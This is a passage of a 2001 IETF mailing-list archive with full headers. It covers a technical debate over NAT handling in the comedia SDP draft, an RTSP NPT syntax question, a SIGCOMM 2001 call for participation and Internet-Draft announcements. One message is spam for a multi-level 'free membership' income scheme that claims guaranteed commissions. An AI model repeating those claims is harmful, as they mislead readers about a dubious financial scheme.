> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com

From confctrl-owner  Sat Jul  7 18:23:59 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA28638
	for confctrl-outgoing; Sat, 7 Jul 2001 18:23:59 -0700 (PDT)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA28633
	for <confctrl@zephyr.isi.edu>; Sat, 7 Jul 2001 18:23:58 -0700 (PDT)
Received: from yourwebsite.com (cd-179-62.ra30.dc.capu.net [64.50.179.62])
	by gamma.isi.edu (8.11.2/8.11.2) with SMTP id f681O5H14667
	for <confctrl@isi.edu>; Sat, 7 Jul 2001 18:24:06 -0700 (PDT)
Message-Id: <200107080124.f681O5H14667@gamma.isi.edu>
Reply-To: lprice@capu.net
From: lprice@capu.net
To: confctrl@ISI.EDU
Subject: Ride the Wave of Success!!/FREE MEMBERSHIP!!! 
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Sat, 7 Jul 2001 21:19:53 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


JOIN NOW FOR FREE!!!
          
SERIOUS ONLINE INCOME:

 NO PRODUCTS TO SELL, NO MEETING TO ATTEND, NO MONTHLY QUOTAS

We are a  FOUR 4 YEAR OLD INTERNET BUSINESS AND GROWING VERY FAST. WE HAD OVER  
60,000 VIPS SIGNUP COMPANY WIDE IN THE MONTH OF JUNE 2001. SEE WHY THOUSANDS OF 
PEOPLE FROM ALL OVER THE WORLD ARE JOINING US AT RECORD RATES.;
 
    THE  MEMBERSHIP IS FREE at. 
                             
http://onlineprofits.50megs.com.    . Enter your first and last name and email address.

Afterwards you will start recieving various emails about company and the business opportunity.  Also, you will  
become a  FREE MEMBER  and you can START SHOPPING  from at least 70 brand name online stores and 
BE ENTERED in our monthly $100 shopping spree!.  Take your time and review our company's benefits and 
opportunities.
       . GUARANTEED  minimum commission every month
       . you can get 200 members a month added to you downline
       . Free Software
       . and a strong team support

Now remember anybody that signs up after you will be in your downline. This is very important if you want join 
our company  and get a monthly check. Don't pass this one up. 
GET YOUR FREE MEMBERSHIP AT:  
http://onlineprofits.50megs.com --- type in your name and email address and hit the submit botton.
We will talk soon,
        
GIVIE IT A TRY, YOU HAVE NOTHING TO LOSE AND POSSIBLE A LOT TO GAIN.  

From confctrl-owner  Mon Jul  9 05:30:36 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id FAA21510
	for confctrl-outgoing; Mon, 9 Jul 2001 05:30:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA21505
	for <confctrl@zephyr.isi.edu>; Mon, 9 Jul 2001 05:30:33 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f69CUbL25548
	for <confctrl@ISI.EDU>; Mon, 9 Jul 2001 05:30:42 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (fp3100.tactical-sw.com [216.153.163.162])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id IAA25676;
	Mon, 9 Jul 2001 08:31:08 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010709081500.03ab0dd8@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 09 Jul 2001 08:30:00 -0400
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: RE: Comedia Issues.
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128C896@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yes, the world is full of NATs.  The world is also full of ALPs, which are 
currently the industry-standard way to address NAT-induced breakage.  It is 
NOT the case that comedia cannot work through a NAT, even in the absence of 
an ALP.  Refer to my earlier email that discusses network designs where 
comedia can, in fact, work through a NAT.

The issue is not whether NAT is a problem, but rather one of scope.  I 
submit again that this is not a comedia issue, on the following grounds:

         - There is nothing inherent about connection-oriented
           media versus connectionless media (i.e., RTP, UDP) that
           fundamentally changes the problem set.  If this issue
           is to be addressed it must be done in the appropriate
           context.

         - There is nothing in the comedia draft that introduces a
           new problem vis-a-vis NATs/Firewalls.

To attack this problem in a draft whose sole purpose is to define a way to 
describe connection-based protocols, would be a mistake.

At 01:20 PM 7/6/2001, Jonathan Rosenberg wrote:

> >
> > That said, I would submit that it's a topic outside the scope of the
> > comedia draft, which needs to address the current state of the world.
>
>The current world is full of NATs. Putting a solution in place now, which is
>known to not work through NATs, is a mistake.
>
>-Jonathan R.
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jul  9 06:24:33 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA23946
	for confctrl-outgoing; Mon, 9 Jul 2001 06:24:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA23941
	for <confctrl@zephyr.isi.edu>; Mon, 9 Jul 2001 06:24:32 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f69DObL05417
	for <confctrl@ISI.EDU>; Mon, 9 Jul 2001 06:24:42 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <3M51LY6D>; Mon, 9 Jul 2001 06:24:23 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72949@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'David Yon'" <yon@dialout.net>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Mon, 9 Jul 2001 06:24:22 -0700 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi David,

> The issue is not whether NAT is a problem, but rather one of 
> scope.  I 
> submit again that this is not a comedia issue, on the 
> following grounds:
> 
>          - There is nothing inherent about connection-oriented
>            media versus connectionless media (i.e., RTP, UDP) that
>            fundamentally changes the problem set.  If this issue
>            is to be addressed it must be done in the appropriate
>            context.

I disagree with this statement. There are two important differences (w.r.t
NATs/firewalls) for connection based media. The first is that
bidirectionality is guaranteed. For connectionless media, a NAT/firewall
will mostly have an asymmetrical response to packets; with connection-based
media, bidirectional media exchange is guaranteed (if a connection is
opened). Secondly and more specific to this argument, due to the first
property only one side needs to have a globally reachable address for
bidirectionality - only one side of the media-level connection needs to be
correlated with one of the transport address specified in the SDP's (for a
bidirectional application-level connection). 

Now the difficulty comes, as you say, for fixed-port servers where the
globally reachable transport address is shared between multiple sessions.
The difficulty being that the application can't associate the actual source
NAT address with the address in the SDP (w/o ALG's etc). I would point out
however that SDP does NOT specify the source address for the connectionless
case - the remote application is free to use any source address it chooses -
comedia should not change this. Thus I don't agree that source address
information can or should be used to provide the correlation for the
application. It can only be (reliably) provided in the media stream itself
unless each connection is assigned a unique port on the globally reachable
side. 

>          - There is nothing in the comedia draft that introduces a
>            new problem vis-a-vis NATs/Firewalls.
> 
> To attack this problem in a draft whose sole purpose is to 
> define a way to 
> describe connection-based protocols, would be a mistake.
> 

If you provide a function in a draft, IMO the draft should describe why the
function is provided and how it is designed to be used (without being overly
restrictive) - especially when the function is fairly liable to
misinterpretation of purpose or use. 

The comedia draft goes beyond just describing the protocol by allowing the
source information to be included. If you were to remove this functionality
then I would agree with you that this argument is beyond the scope of the
draft. 

As this is included (and highly susceptible to mis-use causing a loss in
interoperability) then I think it's usage needs to discussed in the draft.


Robert.

From confctrl-owner  Mon Jul  9 06:58:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA25637
	for confctrl-outgoing; Mon, 9 Jul 2001 06:58:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA25632
	for <confctrl@zephyr.isi.edu>; Mon, 9 Jul 2001 06:58:53 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f69DwwL11669
	for <confctrl@ISI.EDU>; Mon, 9 Jul 2001 06:58:58 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (fp3100.tactical-sw.com [216.153.163.162])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id JAA26750;
	Mon, 9 Jul 2001 09:59:50 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010709093037.03aaebd0@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Mon, 09 Jul 2001 09:55:08 -0400
To: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: RE: Comedia Issues.
In-Reply-To: <E79883AEA37FD411A58C00508BAC5F4BD72949@exchange1.nuera.com
 >
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 09:24 AM 7/9/2001, Fairlie-Cuninghame, Robert wrote:
>Hi David,
>
> > The issue is not whether NAT is a problem, but rather one of
> > scope.  I
> > submit again that this is not a comedia issue, on the
> > following grounds:
> >
> >          - There is nothing inherent about connection-oriented
> >            media versus connectionless media (i.e., RTP, UDP) that
> >            fundamentally changes the problem set.  If this issue
> >            is to be addressed it must be done in the appropriate
> >            context.
>
>I disagree with this statement. There are two important differences (w.r.t
>NATs/firewalls) for connection based media. The first is that
>bidirectionality is guaranteed. For connectionless media, a NAT/firewall
>will mostly have an asymmetrical response to packets; with connection-based
>media, bidirectional media exchange is guaranteed (if a connection is
>opened). Secondly and more specific to this argument, due to the first
>property only one side needs to have a globally reachable address for
>bidirectionality - only one side of the media-level connection needs to be
>correlated with one of the transport address specified in the SDP's (for a
>bidirectional application-level connection).

No: for bidirectional media, the problem is EXACTLY the same---that problem 
being that you can't trust the validity of IP addresses as specified in the 
SDP.  There is only a slight difference in how the symptoms present.  For 
bidirectional "traditional" (i.e., RTP-based) media, both sides must 
proffer addresses/ports as media destinations.   In connection-oriented 
media you can get by with only one side offering a destination.  So when 
Endpoint A is behind a NAT:

         - In comedia the Source Address/Port is wrong

         - In RTP the advertised destination is wrong

At the end of the day, the problem is that IP Addresses specified in the 
SDP packet aren't correct.  Comedia does nothing *fundamentally* different 
to this problem, it only shifts where some of the (potentially) faulty IP 
addresses appear.


>Now the difficulty comes, as you say, for fixed-port servers where the
>globally reachable transport address is shared between multiple sessions.
>The difficulty being that the application can't associate the actual source
>NAT address with the address in the SDP (w/o ALG's etc). I would point out
>however that SDP does NOT specify the source address for the connectionless
>case - the remote application is free to use any source address it chooses -
>comedia should not change this. Thus I don't agree that source address
>information can or should be used to provide the correlation for the
>application. It can only be (reliably) provided in the media stream itself
>unless each connection is assigned a unique port on the globally reachable
>side.

It all depends on how the network is designed.  There ARE deployments where 
you can in fact assume correct addressing.  For those deployments where you 
cannot assume this, then yes you must be careful.


> >          - There is nothing in the comedia draft that introduces a
> >            new problem vis-a-vis NATs/Firewalls.
> >
> > To attack this problem in a draft whose sole purpose is to
> > define a way to
> > describe connection-based protocols, would be a mistake.
> >
>
>If you provide a function in a draft, IMO the draft should describe why the
>function is provided and how it is designed to be used (without being overly
>restrictive) - especially when the function is fairly liable to
>misinterpretation of purpose or use.
>
>The comedia draft goes beyond just describing the protocol by allowing the
>source information to be included. If you were to remove this functionality
>then I would agree with you that this argument is beyond the scope of the
>draft.
>
>As this is included (and highly susceptible to mis-use causing a loss in
>interoperability) then I think it's usage needs to discussed in the draft.

That's fine, and I can spin a new version that discusses the problem more 
directly.  But that's different than Jonathan's statement, which implied 
that comedia shouldn't move forward until it works in all cases without the 
aid of an ALP.  On that basis we should be putting the brakes on 
draft-ietf-sip-rfc2543bis-03, which also doesn't work well with NATs.



>Robert.


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Mon Jul  9 11:13:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id LAA10897
	for confctrl-outgoing; Mon, 9 Jul 2001 11:13:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA10892
	for <confctrl@zephyr.isi.edu>; Mon, 9 Jul 2001 11:13:12 -0700 (PDT)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f69IDFL28719
	for <confctrl@ISI.EDU>; Mon, 9 Jul 2001 11:13:21 -0700 (PDT)
Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91])
	by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id f69IDAO00055;
	Mon, 9 Jul 2001 20:13:10 +0200 (MEST)
Received: from lmf.ericsson.se (racom107108.am.ericsson.se [147.117.107.108])
	by mailserver1.ericsson.se (8.9.3/8.9.3/eri-1.0) with ESMTP id UAA13544;
	Mon, 9 Jul 2001 20:13:04 +0200 (MET DST)
Message-ID: <3B49F671.D577ABC5@lmf.ericsson.se>
Date: Mon, 09 Jul 2001 21:22:41 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@lmf.ericsson.se>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Joerg Ott <jo@ipdialog.com>, Orit Levin <orit@radvision.com>,
        mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU
Subject: Re: Version 03 of fid WAS (New version of FID. WAS (Re: FID Draft - 
 again))
References: <B65B4F8437968F488A01A940B21982BF0128C6DB@DYN-EXCH-001.dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,

I have just submitted a new version (03) of the fid draft to the IETF.
Until it appears in the archives you can download it from the following
URL:

http://www.hut.fi/~gonzalo/papers/draft-ietf-mmusic-fid-03.txt

I have updated the document based on the feedback received. There are
not fundamental changes in it, though. Everything I have done is adding
some examples, explaining things in a longer way and fixing some typos.
Feedback is welcome on this new version, as usual.

Thanks to all of you who sent feedback and comments.

Best regards,

Gonzalo
-- 
Gonzalo Camarillo                    Phone :   +1 212 939 71 71
Columbia University                  Mobile:  +358 40 702 35 35
472 Computer Science Building        Fax   :  +358  9 299 30 52
1214 Amsterdam Ave., Mail Code 0401  http://www.hut.fi/~gonzalo
New York, NY 10027                   
USA                              Gonzalo.Camarillo@ericsson.com

From confctrl-owner  Tue Jul 10 00:40:51 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id AAA24622
	for confctrl-outgoing; Tue, 10 Jul 2001 00:40:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id AAA24614
	for <confctrl@zephyr.isi.edu>; Tue, 10 Jul 2001 00:40:50 -0700 (PDT)
Received: from vsm.ctmo.mei.co.jp ([202.224.188.243])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6A7exL26675
	for <confctrl@isi.edu>; Tue, 10 Jul 2001 00:40:59 -0700 (PDT)
Received: (from root@localhost)
	by vsm.ctmo.mei.co.jp (8.9.1/8.9.1) id QAA16153
	for <confctrl@isi.edu>; Tue, 10 Jul 2001 16:40:53 +0900 (JST)
Received: from dragon.drl.mei.co.jp(132.182.104.28) by vsm.ctmo.mei.co.jp via smap (V2.0)
	id ; Tue, 10 Jul 01 16:40:42 +0900
Received: by dragon.drl.mei.co.jp (8.9.3/5.9:4.9:drl-mx-com:20000202)
	id QAA06172; Tue, 10 Jul 2001 16:38:46 +0900 (JST)
Message-ID: <00d501c10913$b8d3c740$156bb684@drl.mei.co.jp>
From: "Y. Matsui" <matsui@drl.mei.co.jp>
To: <confctrl@ISI.EDU>
Subject: Format of NPT
Date: Tue, 10 Jul 2001 16:41:22 +0900
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6600
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear all,

I have just subcsribed to this reflector, so that I don't see
if my following question has been discussed and concluded here.

I think there is an inconsistency between the definition and
example usages about the format of NPT.

In Section 12.29 of RFC2326 (RTSP), Range is defined as follows:

   Range            = "Range" ":" 1\#ranges-specifier
                          [ ";" "time" "=" utc-time ]
   ranges-specifier = npt-range | utc-range | smpte-range

In Section 3.6 of RFC2326 (RTSP), npt-range is defined as follows:

   npt-range    =   ( npt-time "-" [ npt-time ] ) | ( "-" npt-time )

Thus, the range specifier such as "npt" is not present.

Examples in this section are the following:

     npt=123.45-125
     npt=12:05:35.3-

And the excerpt from Annex C.1.5:

   The "a=range" attribute defines the total time range of the stored
   session. (The length of live sessions can be deduced from the "t" and
   "r" parameters.) Unless the presentation contains media streams of
   different durations, the range attribute is a session-level
   attribute. The unit is specified first, followed by the value range.
   The units and their values are as defined in Section 3.5, 3.6 and 3.7.

   Examples:
     a=range:npt=0-34.4368
     a=range:clock=19971113T2115-19971113T2203

It seems that the range specifier "npt" is expected in example usages.
If so, the definition of npt-range must be:
  npt-range = "npt" "=" ( npt-time "-" [ npt-time ] ) | ( "-" npt-time )

I would like to know which is correct. Any comments are appreciated.

Best regards,
Yoshinori Matsui
Matsushita/Panasonic


From confctrl-owner  Tue Jul 10 06:10:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA08779
	for confctrl-outgoing; Tue, 10 Jul 2001 06:10:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA08774
	for <confctrl@zephyr.isi.edu>; Tue, 10 Jul 2001 06:10:40 -0700 (PDT)
Received: from e1.ny.us.ibm.com ([32.97.182.101])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6ADAnL16875
	for <confctrl@isi.edu>; Tue, 10 Jul 2001 06:10:50 -0700 (PDT)
Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.117.200.22])
	by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id JAA249732;
	Tue, 10 Jul 2001 09:00:02 -0400
Received: from d01ml243.pok.ibm.com (d01ml243.pok.ibm.com [9.117.200.72])
	by northrelay02.pok.ibm.com (8.11.1m3/NCO v4.96) with ESMTP id f6ACtPl130332;
	Tue, 10 Jul 2001 08:55:25 -0400
Importance: Normal
Subject: Second Call for Participation: ACM Sigcomm 2001 Conference
To: tci-announce@listserv.computer.org, tccc@ieee.org, tcgn@ieee.org,
        end2end-interest@postel.org, confctrl@ISI.EDU, itc@ieee.org,
        ifip-6-1-distr@run.montefiore.ulg.ac.be,
        ifip-tc6@informatik.rwth-aachen.de, sigmetrics@haven.epm.ornl.gov,
        dbworld@cs.wisc.edu, f-troup@CODEX.cis.upenn.edu,
        rem-conf-request@es.net, cost237-transport@comp.lancs.ac.uk,
        reres@laas.fr, hipparch@sophia.inria.fr, xtp-relay@cs.concordia.ca,
        rem-conf@es.net, commsoft@cc.bellcore.com, cnom@maestro.bellcore.com,
        conf@colmar.uha.fr, Cost264@lip6.fr, domain3@BXL.DG13.cec.eu.int,
        nichains@BXL.DG13.cec.eu.int, gi-fb3@fokus.gmd.de,
        kuvs-elg@fokus.gmd.de, multicomm@cc.bellcore.com, kgold@firstconf.com,
        announcements.chi@acm.com, netnomics@eco.utexas.edu,
        IEEETCPC-request@LISTSERV.UTORONTO.CA, gigabitkits@arl.wustl.edu
X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000
Message-ID: <OF42C15088.5295E2CB-ON85256A85.0047DAD3@pok.ibm.com>
From: "Dilip D Kandlur" <kandlur@us.ibm.com>
Date: Tue, 10 Jul 2001 09:06:34 -0400
X-MIMETrack: Serialize by Router on D01ML243/01/M/IBM(Release 5.0.8 |June 18, 2001) at
 07/10/2001 09:01:54 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Note that the deadline for advance registration is August 3rd.


               Call for Participation
              ACM SIGCOMM 2001 Conference

                    August 27 - August 31, 2001
                 University of California, San Diego, CA USA
                http://www.acm.org/sigcomm/sigcomm2001

Deadlines:

Proposals for student travel grant:      June 15, 2001
Proposals for student poster session:    June 17, 2001
Advance registration ends:              August 3, 2001
Hotel registration deadline:       July 23, 2001

ACM SIGCOMM 2001 is the annual conference of the Special Interest
Group on Data Communication (SIGCOMM), a single-track, highly
selective conference with a technical program of 23 papers, tutorials
by noted instructors on the two days prior, and a panel discussion.

Early registration for SIGCOMM 2001 will soon be available.
Registration details, as well as information on student travel grants
and requests for proposals for the work-in-progress poster session are
available at the SIGCOMM website above.

Social Events

The reception will be at the Birch Aquarium at Scripps.  The Aquarium
is situated on a hilltop site that provides a spectacular view on the
Scripps Institution of Oceanography campus, northern La Jolla, and the
Pacific Ocean.  Conference attendees will have full access to the
aquarium exhibits during the reception. The reception is included in
registration fee for attendees and their guests. No reservations
necessary.

The SIGCOMM 2001 Banquet will be held in the Main Ballroom of the
Hotel Del Coronado, situated on picturesque Coronado Island. Over 112
years old, it is a National Historic Landmark renowned for its
magnificent architecture and legendary guests. The banquet is included
in the registration fee for attendees. There will be a $75 charge for
each guest.

SIGCOMM Award

The SIGCOMM Award is given annually to a person whose career and
technical achievements demonstrate a long-term commitment to the field
of data communications. ACM SIGCOMM is pleased to announce that the 2001
SIGCOMM Award is being given to Van Jacobson of Packet Design, Inc.
Van Jacobson will receive the award and give the conference keynote
address in the opening session on Wednesday.

Tutorials

SIGCOMM 2001 begins with two days of full- and half-day tutorials
covering single topics in detail at both the introductory and advanced
level.  Tutorials offered this year are:

 - Wireless Data
     Phil Karn, Qualcomm, Inc.
 - Traffic Measurement for IP Operations
     Matt Grossglauser and Jennifer Rexford, AT&T
 - Interdomain Routing and BGP
     Timothy G. Griffin, AT&T
 - Equilibrium and Dynamics of TCP
     Prof. Steven H. Low, California Inst. of Technology
 - Algorithms for Networks: Some Techniques for Design and Analysis
     Ashish Goel, University of Southern California
     Nick McKeown and Balaji Prabhakar, Stanford University

Outrageous Opinions Session

The Outrageous Opinions Session provides an opportunity for sharing
entertaining, provocative, and otherwise enriching ideas and suggestions
in their early stages. The session will be held Thursday evening.

Poster Session - Work in Progress

The Poster Session is aimed at showcasing the "work-in-progress" of
students attending the conference.  Poster proposals should be sent by
email to Hari Balakrishnan (hari@lcs.mit.edu) by June 17 (no
extensions).  Please see the conference website for details regarding
the submission format.

Student Travel Awards

The purpose of the student travel program is to encourage graduate
student participation at the conference by partially or fully funding
the travel costs of students who would otherwise be unable to
attend. SIGCOMM 2001 thanks Cisco and SIGCOMM for funding the program
this year.  See the website for eligibility criteria and application
procedures.

General Co-Chairs
        Rene Cruz, UC San Diego, USA (cruz@ece.ucsd.edu)
        George Varghese, UC San Diego, USA (varghese@ece.ucsd.edu)
Program Co-Chairs
        Roch Guerin, U. Pennsylvania, USA (guerin@ee.upenn.edu)
        Derek McAuley, Marconi Research Center, UK
(derek.mcauley@marconi.com)
Publicity Chair
        Dilip Kandlur, IBM TJ Watson Research Ctr, USA (kandlur@us.ibm.com)
Tutorials Chair
        Chuck Kalmanek, AT&T Research, USA (crk@research.att.com)
Local Arrangements Co-Chairs
     Geoff Voelker, UC San Diego, USA (voelker@cs.ucsd.edu)
Finance Chair
     Joe Touch, UCS/ISI, USA (touch@isi.edu)
Publication Chair
     Ramesh Govindan, USC/ISI, USA (govindan@isi.edu)
Student Travel Award Chair
     Christos Papadopoulos, U. Southern California (christos@usc.edu)
Student Poster Chair
     Hari Balakrishnan, MIT, USA (hari@lcs.mit.edu)

Support from Cisco, IBM, Deloitte and Touche, PMC-Sierra, Marconi,
Procket Networks, Agilent Technologies, Microsoft Research, and
USC/ISI is gratefully acknowledged.







From confctrl-owner  Tue Jul 10 07:28:46 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA12599
	for confctrl-outgoing; Tue, 10 Jul 2001 07:28:46 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA12594
	for <confctrl@zephyr.isi.edu>; Tue, 10 Jul 2001 07:28:44 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6AESrL02376
	for <confctrl@isi.edu>; Tue, 10 Jul 2001 07:28:53 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01016;
	Tue, 10 Jul 2001 10:27:59 -0400 (EDT)
Message-Id: <200107101427.KAA01016@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-fid-03.txt
Date: Tue, 10 Jul 2001 10:27:58 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Grouping of m lines in SDP
	Author(s)	: G. Camarillo, J. Holler, G. Eriksson
	Filename	: draft-ietf-mmusic-fid-03.txt
	Pages		: 12
	Date		: 09-Jul-01
	
This document defines two SDP attributes: 'groupe' and 'mid'. They
allow to group together several 'm' lines for two different
purposes: for lip synchronization and for receiving media from a
single flow (several media streams), encoded in different formats
during a particular session, in different ports and host interfaces.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-fid-03.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-fid-03.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-fid-03.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20010709125901.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-fid-03.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-fid-03.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20010709125901.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Tue Jul 10 19:36:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA26859
